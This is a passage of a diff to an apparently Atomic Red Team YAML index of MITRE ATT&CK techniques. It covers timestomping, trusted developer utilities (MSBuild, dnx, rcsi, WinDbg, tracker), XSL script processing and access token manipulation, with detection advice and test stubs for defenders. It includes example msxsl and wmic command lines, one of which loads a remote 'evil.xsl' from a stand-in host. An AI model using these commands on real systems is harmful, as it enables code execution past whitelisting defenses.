marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' + type: attack-pattern + x_mitre_detection: 'Forensic techniques exist to detect aspects of files that + have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) + It may be possible to detect timestomping using file modification monitoring + that collects information on file handle opens and can compare timestamp values.' + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Romain Dumont, ESET + created: '2017-05-31T21:31:12.675Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1099 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1099 + - source_name: WindowsIR Anti-Forensic Techniques + description: 'Carvey, H. (2013, July 23). HowTo: Determine/Detect the use + of Anti-Forensics Techniques. Retrieved June 3, 2016.' + url: http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html x_mitre_defense_bypassed: - Host forensic analysis identifier: T1099 @@ -10086,133 +10360,131 @@ defense-evasion: ' T1127: technique: + x_mitre_data_sources: + - Process monitoring + x_mitre_permissions_required: + - User + name: Trusted Developer Utilities + description: "There are many utilities used for software development related + tasks that can be used to execute code in various forms to assist in development, + debugging, and reverse engineering. These utilities may often be signed with + legitimate certificates that allow them to execute on a system and proxy execution + of malicious code through a trusted process that effectively bypasses application + whitelisting defensive solutions.\n\n### MSBuild\n\nMSBuild.exe (Microsoft + Build Engine) is a software build platform used by Visual Studio. It takes + XML formatted project files that define requirements for building various + platforms and configurations. (Citation: MSDN MSBuild) \n\nAdversaries can + use MSBuild to proxy execution of code through a trusted Windows utility. + The inline task capability of MSBuild that was introduced in .NET version + 4 allows for C# code to be inserted into the XML project file. (Citation: + MSDN MSBuild) Inline Tasks MSBuild will compile and execute the inline task. + MSBuild.exe is a signed Microsoft binary, so when it is used this way it can + execute arbitrary code and bypass application whitelisting defenses that are + configured to allow MSBuild.exe execution. (Citation: LOLBAS Msbuild)\n\n### + DNX\n\nThe .NET Execution Environment (DNX), dnx.exe, is a software development + kit packaged with Visual Studio Enterprise. It was retired in favor of .NET + Core CLI in 2016. (Citation: Microsoft Migrating from DNX) DNX is not present + on standard builds of Windows and may only be present on developer workstations + using older versions of .NET Core and ASP.NET Core 1.0. The dnx.exe executable + is signed by Microsoft. \n\nAn adversary can use dnx.exe to proxy execution + of arbitrary code to bypass application whitelist policies that do not account + for DNX. (Citation: engima0x3 DNX Bypass)\n\n### RCSI\n\nThe rcsi.exe utility + is a non-interactive command-line interface for C# that is similar to csi.exe. + It was provided within an early version of the Roslyn .NET Compiler Platform + but has since been deprecated for an integrated solution. (Citation: Microsoft + Roslyn CPT RCSI) The rcsi.exe binary is signed by Microsoft. (Citation: engima0x3 + RCSI Bypass)\n\nC# .csx script files can be written and executed with rcsi.exe + at the command-line. An adversary can use rcsi.exe to proxy execution of arbitrary + code to bypass application whitelisting policies that do not account for execution + of rcsi.exe. (Citation: engima0x3 RCSI Bypass)\n\n### WinDbg/CDB\n\nWinDbg + is a Microsoft Windows kernel and user-mode debugging utility. The Microsoft + Console Debugger (CDB) cdb.exe is also user-mode debugger. Both utilities + are included in Windows software development kits and can be used as standalone + tools. (Citation: Microsoft Debugging Tools for Windows) They are commonly + used in software development and reverse engineering and may not be found + on typical Windows systems. Both WinDbg.exe and cdb.exe binaries are signed + by Microsoft.\n\nAn adversary can use WinDbg.exe and cdb.exe to proxy execution + of arbitrary code to bypass application whitelist policies that do not account + for execution of those utilities. (Citation: Exploit Monday WinDbg)\n\nIt + is likely possible to use other debuggers for similar purposes, such as the + kernel-mode debugger kd.exe, which is also signed by Microsoft.\n\n### Tracker\n\nThe + file tracker utility, tracker.exe, is included with the .NET framework as + part of MSBuild. It is used for logging calls to the Windows file system. + (Citation: Microsoft Docs File Tracking)\n\nAn adversary can use tracker.exe + to proxy execution of an arbitrary DLL into another process. Since tracker.exe + is also signed it can be used to bypass application whitelisting solutions. + (Citation: LOLBAS Tracker)" + x_mitre_remote_support: false + id: attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b + modified: '2019-07-31T19:44:19.300Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' + x_mitre_system_requirements: + - |- + MSBuild: .NET Framework version 4 or higher + DNX: .NET 4.5.2, Powershell 4.0 + RCSI: .NET 4.5 or later, Visual Studio 2012 + type: attack-pattern + x_mitre_detection: |- + The presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious. + + Use process monitoring to monitor the execution and arguments of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Casey Smith + - Matthew Demaske, Adaptforward + created: '2017-05-31T21:31:39.262Z' + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: execution + kill_chain_name: mitre-attack external_references: - - external_id: T1127 - source_name: mitre-attack + - source_name: mitre-attack + external_id: T1127 url: https://attack.mitre.org/techniques/T1127 - - url: https://msdn.microsoft.com/library/dd393574.aspx - source_name: MSDN MSBuild + - source_name: MSDN MSBuild description: Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016. - - url: https://docs.microsoft.com/en-us/dotnet/core/migration/from-dnx - source_name: Microsoft Migrating from DNX + url: https://msdn.microsoft.com/library/dd393574.aspx + - description: LOLBAS. (n.d.). Msbuild.exe. Retrieved July 31, 2019. + source_name: LOLBAS Msbuild + url: https://lolbas-project.github.io/lolbas/Binaries/Msbuild/ + - source_name: Microsoft Migrating from DNX description: Knezevic, Z., Wenzel, M. Latham, L. (2016, June 20). Migrating from DNX to .NET Core CLI (project.json). Retrieved June 28, 2017. - - url: https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/ - source_name: engima0x3 DNX Bypass + url: https://docs.microsoft.com/en-us/dotnet/core/migration/from-dnx + - source_name: engima0x3 DNX Bypass description: Nelson, M. (2017, November 17). Bypassing Application Whitelisting By Using dnx.exe. Retrieved May 25, 2017. - - url: https://blogs.msdn.microsoft.com/visualstudio/2011/10/19/introducing-the-microsoft-roslyn-ctp/ - source_name: Microsoft Roslyn CPT RCSI + url: https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/ + - source_name: Microsoft Roslyn CPT RCSI description: Osenkov, K. (2011, October 19). Introducing the Microsoft “Roslyn” CTP. Retrieved June 28, 2017. - - url: https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/ - source_name: engima0x3 RCSI Bypass + url: https://blogs.msdn.microsoft.com/visualstudio/2011/10/19/introducing-the-microsoft-roslyn-ctp/ + - source_name: engima0x3 RCSI Bypass description: Nelson, M. (2016, November 21). Bypassing Application Whitelisting By Using rcsi.exe. Retrieved May 26, 2017. - - url: https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/index - source_name: Microsoft Debugging Tools for Windows + url: https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/ + - source_name: Microsoft Debugging Tools for Windows description: Marshall, D. (2017, May 23). Debugging Tools for Windows (WinDbg, KD, CDB, NTSD). Retrieved June 29, 2017. - - url: http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html - source_name: Exploit Monday WinDbg + url: https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/index + - source_name: Exploit Monday WinDbg description: Graeber, M. (2016, August 15). Bypassing Application Whitelisting by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017. - - source_name: SubTee GitHub All The Things Application Whitelisting Bypass - description: Smith, C. (2016, August 17). Includes 5 Known Application Whitelisting/ - Application Control Bypass Techniques in One File. Retrieved June 30, 2017. - - url: https://docs.microsoft.com/visualstudio/msbuild/file-tracking - source_name: Microsoft Docs File Tracking + url: http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html + - source_name: Microsoft Docs File Tracking description: B, M., Brown, K., Cai, S., Hogenson, G., Warren, G. (2016, November 4). File Tracking. Retrieved November 1, 2017. - - url: https://twitter.com/subTee/status/793151392185589760 - source_name: Twitter SubTee Tracker.exe - description: Smith, C. (2016, October 31). SubTee Twitter Status. Retrieved - November 1, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - type: attack-pattern - x_mitre_contributors: - - Casey Smith - - Matthew Demaske, Adaptforward - x_mitre_data_sources: - - Process monitoring - modified: '2019-02-05T23:13:50.663Z' - x_mitre_detection: |- - The presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious. - - Use process monitoring to monitor the execution and arguments of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: execution - kill_chain_name: mitre-attack + url: https://docs.microsoft.com/visualstudio/msbuild/file-tracking + - description: LOLBAS. (n.d.). Tracker.exe. Retrieved July 31, 2019. + source_name: LOLBAS Tracker + url: https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/ x_mitre_defense_bypassed: - Application whitelisting - id: attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b - name: Trusted Developer Utilities - created: '2017-05-31T21:31:39.262Z' - x_mitre_version: '1.0' - x_mitre_remote_support: false - x_mitre_system_requirements: - - |- - MSBuild: .NET Framework version 4 or higher - DNX: .NET 4.5.2, Powershell 4.0 - RCSI: .NET 4.5 or later, Visual Studio 2012 - description: "There are many utilities used for software development related - tasks that can be used to execute code in various forms to assist in development, - debugging, and reverse engineering. These utilities may often be signed with - legitimate certificates that allow them to execute on a system and proxy execution - of malicious code through a trusted process that effectively bypasses application - whitelisting defensive solutions.\n\n### MSBuild\n\nMSBuild.exe (Microsoft - Build Engine) is a software build platform used by Visual Studio. It takes - XML formatted project files that define requirements for building various - platforms and configurations. (Citation: MSDN MSBuild) \n\nAdversaries can - use MSBuild to proxy execution of code through a trusted Windows utility. - The inline task capability of MSBuild that was introduced in .NET version - 4 allows for C# code to be inserted into the XML project file. (Citation: - MSDN MSBuild) Inline Tasks MSBuild will compile and execute the inline task. - MSBuild.exe is a signed Microsoft binary, so when it is used this way it can - execute arbitrary code and bypass application whitelisting defenses that are - configured to allow MSBuild.exe execution. (Citation: SubTee GitHub All The - Things Application Whitelisting Bypass)\n\n### DNX\n\nThe .NET Execution Environment - (DNX), dnx.exe, is a software development kit packaged with Visual Studio - Enterprise. It was retired in favor of .NET Core CLI in 2016. (Citation: Microsoft - Migrating from DNX) DNX is not present on standard builds of Windows and may - only be present on developer workstations using older versions of .NET Core - and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft. \n\nAn - adversary can use dnx.exe to proxy execution of arbitrary code to bypass application - whitelist policies that do not account for DNX. (Citation: engima0x3 DNX Bypass)\n\n### - RCSI\n\nThe rcsi.exe utility is a non-interactive command-line interface for - C# that is similar to csi.exe. It was provided within an early version of - the Roslyn .NET Compiler Platform but has since been deprecated for an integrated - solution. (Citation: Microsoft Roslyn CPT RCSI) The rcsi.exe binary is signed - by Microsoft. (Citation: engima0x3 RCSI Bypass)\n\nC# .csx script files can - be written and executed with rcsi.exe at the command-line. An adversary can - use rcsi.exe to proxy execution of arbitrary code to bypass application whitelisting - policies that do not account for execution of rcsi.exe. (Citation: engima0x3 - RCSI Bypass)\n\n### WinDbg/CDB\n\nWinDbg is a Microsoft Windows kernel and - user-mode debugging utility. The Microsoft Console Debugger (CDB) cdb.exe - is also user-mode debugger. Both utilities are included in Windows software - development kits and can be used as standalone tools. (Citation: Microsoft - Debugging Tools for Windows) They are commonly used in software development - and reverse engineering and may not be found on typical Windows systems. Both - WinDbg.exe and cdb.exe binaries are signed by Microsoft.\n\nAn adversary can - use WinDbg.exe and cdb.exe to proxy execution of arbitrary code to bypass - application whitelist policies that do not account for execution of those - utilities. (Citation: Exploit Monday WinDbg)\n\nIt is likely possible to use - other debuggers for similar purposes, such as the kernel-mode debugger kd.exe, - which is also signed by Microsoft.\n\n### Tracker\n\nThe file tracker utility, - tracker.exe, is included with the .NET framework as part of MSBuild. It is - used for logging calls to the Windows file system. (Citation: Microsoft Docs - File Tracking)\n\nAn adversary can use tracker.exe to proxy execution of an - arbitrary DLL into another process. Since tracker.exe is also signed it can - be used to bypass application whitelisting solutions. (Citation: Twitter SubTee - Tracker.exe)" - x_mitre_permissions_required: - - User identifier: T1127 atomic_tests: - name: MSBuild Bypass Using Inline Tasks @@ -10234,99 +10506,105 @@ defense-evasion: ' T1220: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1220 - source_name: mitre-attack - external_id: T1220 - - url: https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script - source_name: Microsoft XSLT Script Mar 2017 - description: Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting - Using . Retrieved July 3, 2018. - - url: https://www.microsoft.com/download/details.aspx?id=21714 - source_name: Microsoft msxsl.exe - description: Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe). - Retrieved July 3, 2018. - - url: https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/ - source_name: Penetration Testing Lab MSXSL July 2017 - description: netbiosX. (2017, July 6). AppLocker Bypass – MSXSL. Retrieved - July 3, 2018. - - url: https://subt0x11.blogspot.com/2018/04/wmicexe-whitelisting-bypass-hacking.html - source_name: subTee WMIC XSL APR 2018 - description: Smith, C. (2018, April 17). WMIC.EXE Whitelisting Bypass - Hacking - with Style, Stylesheets. Retrieved July 3, 2018. - - url: https://twitter.com/dez_/status/986614411711442944 - source_name: Twitter SquiblyTwo Detection APR 2018 - description: Desimone, J. (2018, April 18). Status Update. Retrieved July - 3, 2018. - - url: https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/ - source_name: Reaqta MSXSL Spearphishing MAR 2018 - description: Admin. (2018, March 2). Spear-phishing campaign leveraging on - MSXSL. Retrieved July 3, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Casey Smith - - Praetorian x_mitre_data_sources: - Process monitoring - Process command-line parameters - Process use of network - DLL monitoring - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: |- - Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: subTee WMIC XSL APR 2018) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded. - - The presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: execution - kill_chain_name: mitre-attack - x_mitre_defense_bypassed: - - Anti-virus - - Application whitelisting - - Digital Certificate Validation + x_mitre_permissions_required: + - User + name: XSL Script Processing description: |- Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017) - Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses. Similar to [Trusted Developer Utilities](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) + Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses. Similar to [Trusted Developer Utilities](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019) - Command-line example: (Citation: Penetration Testing Lab MSXSL July 2017) + Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019) * msxsl.exe customers[.]xml script[.]xsl + * msxsl.exe script[.]xsl script[.]xsl + * msxsl.exe script[.]jpeg script[.]jpeg - Another variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file. (Citation: subTee WMIC XSL APR 2018) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1117)/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. + Another variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1117)/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019) - Command-line examples: (Citation: subTee WMIC XSL APR 2018) + Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic) * Local File: wmic process list /FORMAT:evil[.]xsl * Remote File: wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl” - id: attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3 - name: XSL Script Processing - created: '2018-10-17T00:14:20.652Z' - x_mitre_version: '1.0' x_mitre_remote_support: false - type: attack-pattern - x_mitre_permissions_required: - - User + id: attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3 + modified: '2019-09-12T17:29:15.626Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' x_mitre_system_requirements: - Microsoft Core XML Services (MSXML) or access to wmic.exe - identifier: T1220 - atomic_tests: - - name: MSXSL Bypass using local files - description: 'Executes the code specified within a XSL script tag during XSL - transformation using a local payload. Requires download of MSXSL from Microsoft - at https://www.microsoft.com/en-us/download/details.aspx?id=21714. + type: attack-pattern + x_mitre_detection: |- + Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: LOLBAS Wmic) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded. -' - supported_platforms: - - windows - input_arguments: - xmlfile: - description: Location of the test XML file on the local filesystem. + The presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Avneet Singh + - Casey Smith + - Praetorian + created: '2018-10-17T00:14:20.652Z' + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: execution + kill_chain_name: mitre-attack + external_references: + - source_name: mitre-attack + external_id: T1220 + url: https://attack.mitre.org/techniques/T1220 + - source_name: Microsoft XSLT Script Mar 2017 + description: Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting + Using . Retrieved July 3, 2018. + url: https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script + - source_name: Microsoft msxsl.exe + description: Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe). + Retrieved July 3, 2018. + url: https://www.microsoft.com/download/details.aspx?id=21714 + - source_name: Penetration Testing Lab MSXSL July 2017 + description: netbiosX. (2017, July 6). AppLocker Bypass – MSXSL. Retrieved + July 3, 2018. + url: https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/ + - source_name: Reaqta MSXSL Spearphishing MAR 2018 + description: Admin. (2018, March 2). Spear-phishing campaign leveraging on + MSXSL. Retrieved July 3, 2018. + url: https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/ + - source_name: XSL Bypass Mar 2019 + description: Singh, A. (2019, March 14). MSXSL.EXE and WMIC.EXE — A Way to + Proxy Code Execution. Retrieved August 2, 2019. + url: https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75 + - description: LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019. + source_name: LOLBAS Wmic + url: https://lolbas-project.github.io/lolbas/Binaries/Wmic/ + - source_name: Twitter SquiblyTwo Detection APR 2018 + description: Desimone, J. (2018, April 18). Status Update. Retrieved July + 3, 2018. + url: https://twitter.com/dez_/status/986614411711442944 + x_mitre_defense_bypassed: + - Anti-virus + - Application whitelisting + - Digital Certificate Validation + identifier: T1220 + atomic_tests: + - name: MSXSL Bypass using local files + description: 'Executes the code specified within a XSL script tag during XSL + transformation using a local payload. Requires download of MSXSL from Microsoft + at https://www.microsoft.com/en-us/download/details.aspx?id=21714. + +' + supported_platforms: + - windows + input_arguments: + xmlfile: + description: Location of the test XML file on the local filesystem. type: Path default: C:\AtomicRedTeam\atomics\T1220\src\msxslxmlfile.xml xslfile: @@ -10405,49 +10683,6 @@ defense-evasion: privilege-escalation: T1134: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1134 - source_name: mitre-attack - external_id: T1134 - - url: https://technet.microsoft.com/en-us/library/bb490994.aspx - source_name: Microsoft runas - description: Microsoft TechNet. (n.d.). Runas. Retrieved April 21, 2017. - - url: https://www.offensive-security.com/metasploit-unleashed/fun-incognito/ - source_name: Metasploit access token - description: Offensive Security. (n.d.). What is Incognito. Retrieved April - 21, 2017. - - url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx - source_name: Microsoft LogonUser - description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017. - - url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx - source_name: Microsoft DuplicateTokenEx - description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017. - - url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx - source_name: Microsoft ImpersonateLoggedOnUser - description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017. - - url: https://pentestlab.blog/2017/04/03/token-manipulation/ - source_name: Pentestlab Token Manipulation - description: netbiosX. (2017, April 3). Token Manipulation. Retrieved April - 21, 2017. - - url: https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials/ - source_name: Cobalt Strike Access Token - description: Mudge, R. (n.d.). Windows Access Tokens and Alternate Credentials. - Retrieved April 21, 2017. - - url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing - source_name: Microsoft Command-line Logging - description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved - April 21, 2017. - - url: https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf - source_name: BlackHat Atkinson Winchester Token Manipulation - description: 'Atkinson, J., Winchester, R. (2017, December 7). A Process is - No One: Hunting for Token Manipulation. Retrieved December 21, 2017.' - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Tom Ueltschi @c_APT_ure - - Travis Smith, Tripwire - - Robby Winchester, @robwinchester3 - - Jared Atkinson, @jaredcatkinson x_mitre_permissions_required: - User - Administrator @@ -10456,36 +10691,7 @@ privilege-escalation: - Access tokens - Process monitoring - Process command-line parameters - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: "If an adversary is using a standard command-line shell, - analysts can detect token manipulation by auditing command-line activity. - Specifically, analysts should look for use of the runas command. - Detailed command-line logging is not enabled by default in Windows. (Citation: - Microsoft Command-line Logging)\n\nIf an adversary is using a payload that - calls the Windows token APIs directly, analysts can detect token manipulation - only through careful analysis of user network activity, examination of running - processes, and correlation with other endpoint and network behavior. \n\nThere - are many Windows API calls a payload can take advantage of to manipulate access - tokens (e.g., LogonUser (Citation: Microsoft LogonUser), DuplicateTokenEx - (Citation: Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser - (Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced - Windows API pages for more information.\n\nQuery systems for process and thread - token information and look for inconsistencies such as user owns processes - impersonating the local SYSTEM account. (Citation: BlackHat Atkinson Winchester - Token Manipulation)" - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - id: attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48 name: Access Token Manipulation - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - type: attack-pattern description: "Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process. @@ -10493,7 +10699,7 @@ privilege-escalation: with the new token. For example, Microsoft promotes the use of access tokens as a security best practice. Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access - token manipulation command runas. (Citation: Microsoft runas)\n + token manipulation command runas.(Citation: Microsoft runas)\n \ \nAdversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing @@ -10502,9 +10708,9 @@ privilege-escalation: adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can use a token to authenticate to a remote system as the account for that token if the account - has appropriate permissions on the remote system. (Citation: Pentestlab Token + has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAccess tokens can be leveraged by adversaries through three - methods: (Citation: BlackHat Atkinson Winchester Token Manipulation)\n\n**Token + methods:(Citation: BlackHat Atkinson Winchester Token Manipulation)\n\n**Token Impersonation/Theft** - An adversary creates a new access token that duplicates an existing token using DuplicateToken(Ex). The token can then be used with ImpersonateLoggedOnUser to allow the calling thread @@ -10523,11 +10729,85 @@ privilege-escalation: user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account.\n\nMetasploit’s Meterpreter payload allows arbitrary token manipulation - and uses token impersonation to escalate privileges. (Citation: Metasploit - access token) The Cobalt Strike beacon payload allows arbitrary token impersonation + and uses token impersonation to escalate privileges.(Citation: Metasploit + access token) The Cobalt Strike beacon payload allows arbitrary token impersonation and can also create tokens. (Citation: Cobalt Strike Access Token)" + id: attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: "If an adversary is using a standard command-line shell, + analysts can detect token manipulation by auditing command-line activity. + Specifically, analysts should look for use of the runas command. + Detailed command-line logging is not enabled by default in Windows.(Citation: + Microsoft Command-line Logging)\n\nIf an adversary is using a payload that + calls the Windows token APIs directly, analysts can detect token manipulation + only through careful analysis of user network activity, examination of running + processes, and correlation with other endpoint and network behavior. \n\nThere + are many Windows API calls a payload can take advantage of to manipulate access + tokens (e.g., LogonUser (Citation: Microsoft LogonUser), DuplicateTokenEx(Citation: + Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser(Citation: + Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API + pages for more information.\n\nQuery systems for process and thread token + information and look for inconsistencies such as user owns processes impersonating + the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation)" + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Tom Ueltschi @c_APT_ure + - Travis Smith, Tripwire + - Robby Winchester, @robwinchester3 + - Jared Atkinson, @jaredcatkinson + created: '2017-12-14T16:46:06.044Z' x_mitre_effective_permissions: - SYSTEM + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1134 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1134 + - source_name: capec + external_id: CAPEC-633 + url: https://capec.mitre.org/data/definitions/633.html + - source_name: Microsoft runas + description: Microsoft TechNet. (n.d.). Runas. 